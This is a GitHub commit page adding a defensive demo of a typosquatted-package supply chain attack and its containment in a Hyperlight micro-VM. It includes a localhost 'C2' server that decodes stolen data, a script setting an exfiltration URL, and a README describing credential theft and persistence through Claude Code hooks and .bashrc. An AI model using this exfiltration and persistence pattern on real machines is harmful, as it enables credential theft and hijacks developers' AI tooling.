Skip to content

Commit d7ae186

Browse files
authored
Add supply chain attack demo (Mini Shai-Hulud) (#74)
* feat: add supply chain attack demo (Mini Shai-Hulud) Signed-off-by: danbugs <danilochiarlone@gmail.com> * fix: address Copilot review feedback - Gate persistence writes behind SUPPLY_CHAIN_DEMO=1 env var - Use 'command curl' in alias to prevent recursion - Bind C2 server to 127.0.0.1 instead of 0.0.0.0 - Compute site-packages path dynamically in Dockerfile - Accept json= kwarg in api.post() for requests compat - Remove external httpbin.org dependency from victim app - Remove unused imports (sys, URLError) Signed-off-by: danbugs <danilochiarlone@gmail.com> --------- Signed-off-by: danbugs <danilochiarlone@gmail.com>
1 parent d8524a9 commit d7ae186

11 files changed

Lines changed: 716 additions & 0 deletions

File tree

demos/supply-chain/.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
reqeusts/__pycache__/

demos/supply-chain/README.md

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
# Supply Chain Attack Demo — Mini Shai-Hulud
2+
3+
A safe, educational demonstration of a supply chain attack modeled on
4+
[Mini Shai-Hulud](https://thehackernews.com/2026/05/mini-shai-hulud-worm-compromises.html)
5+
(TeamPCP, May 2026), showing how Hyperlight micro-VM isolation contains it.
6+
7+
## Background
8+
9+
Mini Shai-Hulud compromised 500+ packages across npm, PyPI, and PHP — including
10+
TanStack, Mistral AI, Guardrails AI, and AntV — affecting 518M+ cumulative
11+
downloads. The attack used typosquatted/hijacked packages to:
12+
13+
1. **Steal credentials** — SSH keys, AWS creds, `.env` files, 80+ env vars
14+
2. **Exfiltrate data** — triple-redundant C2 (custom domain, Session Protocol, GitHub dead drops)
15+
3. **Install persistence** — Claude Code `SessionStart` hooks, VS Code `runOn`, LaunchAgents
16+
4. **Self-propagate** — used stolen npm tokens to poison other packages
17+
18+
## What this demo does
19+
20+
A fake typosquatted package (`reqeusts` instead of `requests`) simulates the
21+
attack payload. A victim application imports it, triggering the malicious code.
22+
23+
**Bare metal** — the attack succeeds: secrets are stolen, exfiltrated, persistence installed.
24+
25+
**Hyperlight sandbox** — every malicious action is blocked by the micro-VM's
26+
default-deny security model:
27+
- **Filesystem is isolated** — the guest runs on its own ramfs (from the CPIO
28+
initrd). Host directories are only visible if explicitly mounted with
29+
`--mount`, and even then access is scoped to that directory with path-escape
30+
prevention. The attacker's `~/.ssh/id_rsa`, `~/.aws/credentials`, etc. simply
31+
don't exist inside the VM.
32+
- **Environment variables are compile-time only** — the guest kernel only has
33+
`PATH` and `LD_LIBRARY_PATH` (set in `kraft.yaml`). There is no `--env` flag;
34+
the host's environment is never forwarded. `AWS_ACCESS_KEY_ID`, `GITHUB_TOKEN`,
35+
etc. are all absent.
36+
- **Networking is opt-in** — without `--net`, the guest has zero network access
37+
(`socket()` returns "Function not implemented"). Even with `--net`, outbound
38+
connections can be restricted to specific hosts via `--net-allow`.
39+
- **Persistence is impossible** — the guest's ramfs is destroyed when the VM
40+
exits. There is no way to write to the host's `~/.claude/settings.json` or
41+
`~/.bashrc` unless the host explicitly mounts those paths.
42+
43+
## Running the demo
44+
45+
### Bare metal (attack succeeds)
46+
47+
The script creates a temporary HOME with planted fake secrets, starts a C2
48+
listener, and runs the victim app. Everything is cleaned up on exit.
49+
50+
```bash
51+
cd demos/supply-chain
52+
./bare-metal/run.sh
53+
```
54+
55+
### Hyperlight sandbox (attack contained)
56+
57+
```bash
58+
cd demos/supply-chain/hl-unikraft
59+
60+
# One-time setup
61+
just build # Build or pull Unikraft kernel
62+
just rootfs # Build rootfs with Python + malicious package
63+
64+
# Run
65+
just run # Execute inside the sandbox
66+
```
67+
68+
### C2 server (standalone)
69+
70+
To watch exfiltrated data arrive in real time (useful for split-terminal demos):
71+
72+
```bash
73+
python3 c2_server.py
74+
```
75+
76+
## File structure
77+
78+
```
79+
supply-chain/
80+
├── reqeusts/ # Typosquatted package
81+
│ ├── __init__.py # Triggers payload on import
82+
│ ├── api.py # Fake requests-like API surface
83+
│ └── stealer.py # Attack payload (6 phases)
84+
├── victim_app.py # Legitimate-looking app that imports reqeusts
85+
├── c2_server.py # Fake C2 server (receives exfiltrated data)
86+
├── bare-metal/
87+
│ └── run.sh # Bare-metal demo (plants secrets, runs attack)
88+
└── hl-unikraft/
89+
├── Dockerfile # Rootfs with Python + malicious package
90+
├── kraft.yaml # Unikraft kernel config
91+
└── Justfile # Build + run commands
92+
```
93+
94+
## Safety
95+
96+
- All "secrets" are planted test data (fake SSH keys, AWS example credentials)
97+
- The C2 server is `localhost` only
98+
- Persistence targets a temporary HOME directory (bare-metal) or doesn't exist (sandbox)
99+
- No real credentials are read, stored, or transmitted
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#!/bin/bash
2+
# Run the supply chain attack demo on bare metal.
3+
#
4+
# This script:
5+
# 1. Creates a temporary HOME with planted fake secrets
6+
# 2. Starts the C2 server in the background
7+
# 3. Runs the victim app (stealer triggers on import)
8+
# 4. Shows the modified persistence files
9+
# 5. Cleans everything up
10+
set -e
11+
12+
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
13+
DEMO_DIR="$(dirname "$SCRIPT_DIR")"
14+
15+
# ── Create temp home with fake secrets ───────────────────────────────
16+
DEMO_HOME=$(mktemp -d /tmp/supply-chain-demo.XXXXXX)
17+
trap 'kill $C2_PID 2>/dev/null; rm -rf "$DEMO_HOME"' EXIT
18+
19+
mkdir -p "$DEMO_HOME/.ssh"
20+
cat > "$DEMO_HOME/.ssh/id_rsa" << 'EOF'
21+
-----BEGIN RSA PRIVATE KEY-----
22+
MIIEpAIBAAKCAQEA3Tz2mr7SZiAMfQyuvBjM9O+FAKE+KEY+DATA+DO+NOT+USE
23+
Lp6j+TSmHLzT6Yb/n/DEMO/ONLY/NOT/REAL/3Tz2mr7SZiAMfQyuvBjM9Ooer
24+
QyuvBjM9O+er3Tz2mr7SZiAMfQyuvBjM9O+er3Tz2mr7SZiAMfQyuvBjM9O+e
25+
-----END RSA PRIVATE KEY-----
26+
EOF
27+
28+
mkdir -p "$DEMO_HOME/.aws"
29+
cat > "$DEMO_HOME/.aws/credentials" << 'EOF'
30+
[default]
31+
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
32+
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
33+
region = us-east-1
34+
EOF
35+
36+
cat > "$DEMO_HOME/.env" << 'EOF'
37+
GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
38+
NPM_TOKEN=npm_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
39+
OPENAI_API_KEY=sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
40+
DATABASE_URL=postgres://admin:s3cretPassw0rd@prod-db.internal:5432/main
41+
STRIPE_SECRET_KEY=sk_FAKE_xxxxxxxxxxxxxxxxxxxxxxxxxxxx
42+
EOF
43+
44+
mkdir -p "$DEMO_HOME/.claude"
45+
cat > "$DEMO_HOME/.claude/settings.json" << 'EOF'
46+
{
47+
"permissions": {
48+
"allow": ["Bash(git *)"],
49+
"deny": []
50+
}
51+
}
52+
EOF
53+
54+
touch "$DEMO_HOME/.bashrc"
55+
56+
# ── Start C2 server ─────────────────────────────────────────────────
57+
python3 "$DEMO_DIR/c2_server.py" &
58+
C2_PID=$!
59+
sleep 0.5
60+
61+
# ── Run the victim app ──────────────────────────────────────────────
62+
echo ""
63+
echo "========================================"
64+
echo " BARE-METAL RUN (no sandbox)"
65+
echo "========================================"
66+
echo ""
67+
68+
HOME="$DEMO_HOME" \
69+
SUPPLY_CHAIN_DEMO=1 \
70+
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE \
71+
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
72+
GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx \
73+
C2_URL=http://127.0.0.1:8080/exfil \
74+
PYTHONPATH="$DEMO_DIR" \
75+
python3 "$DEMO_DIR/victim_app.py"
76+
77+
# ── Show persistence artifacts ───────────────────────────────────────
78+
echo ""
79+
echo "── Post-attack: ~/.claude/settings.json ─────────────────────"
80+
cat "$DEMO_HOME/.claude/settings.json"
81+
echo ""
82+
echo ""
83+
echo "── Post-attack: ~/.bashrc (last 3 lines) ────────────────────"
84+
tail -3 "$DEMO_HOME/.bashrc"
85+
echo ""

demos/supply-chain/c2_server.py

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
#!/usr/bin/env python3
2+
"""Fake C2 server that receives exfiltrated data from the supply chain demo."""
3+
4+
import json
5+
import gzip
6+
import base64
7+
import sys
8+
from http.server import HTTPServer, BaseHTTPRequestHandler
9+
10+
W = 60
11+
12+
13+
class C2Handler(BaseHTTPRequestHandler):
14+
def do_POST(self):
15+
length = int(self.headers.get("Content-Length", 0))
16+
body = self.rfile.read(length)
17+
18+
print()
19+
print("=" * W)
20+
print(" EXFILTRATED DATA RECEIVED".center(W))
21+
print("=" * W)
22+
23+
try:
24+
payload = json.loads(body)
25+
if "data" in payload:
26+
decoded = gzip.decompress(base64.b64decode(payload["data"]))
27+
stolen = json.loads(decoded)
28+
print(json.dumps(stolen, indent=2))
29+
else:
30+
print(json.dumps(payload, indent=2))
31+
except Exception:
32+
print(f" (raw): {body[:500]}")
33+
34+
print("=" * W)
35+
36+
self.send_response(200)
37+
self.send_header("Content-Type", "application/json")
38+
self.end_headers()
39+
self.wfile.write(b'{"status":"received"}')
40+
41+
def log_message(self, fmt, *args):
42+
pass
43+
44+
45+
def main():
46+
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8080
47+
server = HTTPServer(("127.0.0.1", port), C2Handler)
48+
print(f"[C2] Listening on 127.0.0.1:{port} ...")
49+
print(f"[C2] Waiting for exfiltrated data...\n")
50+
try:
51+
server.serve_forever()
52+
except KeyboardInterrupt:
53+
print("\n[C2] Stopped.")
54+
55+
56+
if __name__ == "__main__":
57+
main()
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
# Supply chain attack demo rootfs
2+
#
3+
# Bundles the typosquatted `reqeusts` package and victim app into a
4+
# Python rootfs for execution inside a Hyperlight micro-VM.
5+
#
6+
# Build:
7+
# docker build --platform linux/amd64 --target cpio -t supply-chain-cpio -f Dockerfile ..
8+
9+
ARG BASE=ghcr.io/hyperlight-dev/hyperlight-unikraft/python-base:latest
10+
FROM ${BASE} AS rootfs
11+
12+
# Install the typosquatted package where Python can find it
13+
RUN SITE=$(python3 -c 'import site; print(site.getsitepackages()[0])') && \
14+
mkdir -p "$SITE/reqeusts"
15+
COPY reqeusts/ /tmp/reqeusts/
16+
RUN SITE=$(python3 -c 'import site; print(site.getsitepackages()[0])') && \
17+
cp -r /tmp/reqeusts/* "$SITE/reqeusts/" && rm -rf /tmp/reqeusts
18+
19+
# Install the victim application
20+
COPY victim_app.py /victim_app.py
21+
22+
# --- CPIO rootfs builder ---
23+
FROM alpine:3.20 AS cpio
24+
RUN apk add --no-cache cpio findutils
25+
COPY --from=rootfs / /rootfs/
26+
RUN cd /rootfs && find . | cpio -o -H newc > /output.cpio 2>/dev/null
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
# Supply chain attack demo — Hyperlight-Unikraft sandbox
2+
#
3+
# just rootfs - Build rootfs with Python + malicious package
4+
# just build - Build/pull Unikraft kernel
5+
# just run - Run the victim app inside the sandbox
6+
# just rebuild - Clean + rebuild everything
7+
8+
set windows-shell := ["powershell.exe", "-NoLogo", "-Command"]
9+
export DOCKER_BUILDKIT := "0"
10+
11+
kernel := ".unikraft/build/python-hyperlight_hyperlight-x86_64"
12+
initrd := "initrd.cpio"
13+
memory := "512Mi"
14+
image := "supply-chain-demo"
15+
ghcr_kernel := "ghcr.io/hyperlight-dev/hyperlight-unikraft/python-kernel:latest"
16+
17+
# Run the victim app inside the Hyperlight sandbox (no network, no hostfs)
18+
run:
19+
hyperlight-unikraft {{kernel}} --initrd {{initrd}} --memory {{memory}} -- /victim_app.py
20+
21+
# Build rootfs via Docker
22+
rootfs:
23+
docker build --platform linux/amd64 --target cpio -t {{image}}-cpio -f Dockerfile ..
24+
- docker rm -f {{image}}-tmp
25+
docker create --name {{image}}-tmp {{image}}-cpio /bin/true
26+
docker cp {{image}}-tmp:/output.cpio ./{{initrd}}
27+
docker rm -f {{image}}-tmp
28+
29+
# Build kernel via kraft (Linux)
30+
[unix]
31+
build:
32+
-kraft-hyperlight build --plat hyperlight --arch x86_64
33+
34+
# Pull pre-built kernel from GHCR (Windows)
35+
[windows]
36+
build:
37+
docker pull {{ghcr_kernel}}
38+
- docker rm -f {{image}}-kernel-tmp
39+
docker create --name {{image}}-kernel-tmp {{ghcr_kernel}} /kernel
40+
New-Item -ItemType Directory -Force -Path (Split-Path {{kernel}}) | Out-Null
41+
docker cp {{image}}-kernel-tmp:/kernel ./{{kernel}}
42+
docker rm -f {{image}}-kernel-tmp
43+
44+
# Clean + rebuild everything
45+
rebuild: clean build rootfs
46+
47+
# Clean build artifacts
48+
[unix]
49+
clean:
50+
rm -rf .unikraft {{initrd}}
51+
52+
[windows]
53+
clean:
54+
if (Test-Path .unikraft) { Remove-Item -Recurse -Force .unikraft }
55+
if (Test-Path {{initrd}}) { Remove-Item -Force {{initrd}} }
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
# Supply chain demo — kraft configuration
2+
# Identical to examples/python/kraft.yaml
3+
specification: '0.6'
4+
name: python-hyperlight
5+
6+
unikraft:
7+
source: https://github.com/unikraft/unikraft.git
8+
version: plat-hyperlight
9+
kconfig:
10+
CONFIG_PLAT_HYPERLIGHT: 'y'
11+
CONFIG_PAGING: 'n'
12+
CONFIG_LIBUKVMEM: 'n'
13+
CONFIG_LIBUKINTCTLR_HYPERLIGHT: 'y'
14+
CONFIG_HYPERLIGHT_MAX_GUEST_LOG_LEVEL: 4
15+
16+
CONFIG_LIBUKPRINT_KLVL_CRIT: 'y'
17+
CONFIG_LIBUKPRINT_PRINT_TIME: 'n'
18+
CONFIG_LIBUKPRINT_PRINT_SRCNAME: 'n'
19+
CONFIG_LIBUKBOOT_BANNER_NONE: 'y'
20+
21+
CONFIG_OPTIMIZE_SIZE: 'y'
22+
CONFIG_OPTIMIZE_PIE: 'y'
23+
24+
CONFIG_LIBVFSCORE: 'y'
25+
CONFIG_LIBVFSCORE_AUTOMOUNT_CI: 'y'
26+
CONFIG_LIBVFSCORE_AUTOMOUNT_CI_CUSTOM: 'y'
27+
CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_MP: '/'
28+
CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_DRIVER: 'cpiovfs'
29+
CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_UKOPTS_IFINITRD0: 'y'
30+
CONFIG_LIBCPIOVFS: 'y'
31+
CONFIG_LIBUKCPIO: 'y'
32+
33+
CONFIG_APPELFLOADER: 'y'
34+
CONFIG_APPELFLOADER_VFSEXEC: 'y'
35+
CONFIG_APPELFLOADER_CUSTOMAPPNAME: 'n'
36+
CONFIG_APPELFLOADER_VFSEXEC_ENVPATH: 'n'
37+
CONFIG_APPELFLOADER_VFSEXEC_PATH: '/usr/local/bin/python3'
38+
CONFIG_APPELFLOADER_VFSEXEC_EXECBIT: 'n'
39+
CONFIG_LIBPOSIX_ENVIRON_ENVP0: 'PATH=/usr/local/bin:/usr/bin:/bin'
40+
CONFIG_LIBPOSIX_ENVIRON_ENVP1: 'LD_LIBRARY_PATH=/usr/local/lib'
41+
CONFIG_LIBELF: 'y'
42+
43+
CONFIG_LIBUKRANDOM_CMDLINE_SEED: 'y'
44+
CONFIG_LIBUKRANDOM_GETRANDOM: 'y'
45+
46+
CONFIG_LIBUKBOOT_MAINTHREAD: 'y'
47+
CONFIG_LIBPOSIX_PROCESS_ARCH_PRCTL: 'y'
48+
CONFIG_LIBPOSIX_PROCESS_MULTITHREADING: 'y'
49+
CONFIG_LIBPOSIX_FUTEX: 'y'
50+
51+
CONFIG_LIBUKMPI: 'y'
52+
CONFIG_LIBUKMMAP: 'y'
53+
54+
libraries:
55+
app-elfloader:
56+
source: https://github.com/unikraft/app-elfloader.git
57+
version: plat-hyperlight
58+
libelf:
59+
source: https://github.com/unikraft/lib-libelf.git
60+
version: staging
61+
62+
targets:
63+
- architecture: x86_64
64+
platform: hyperlight

0 commit comments

Comments
 (0)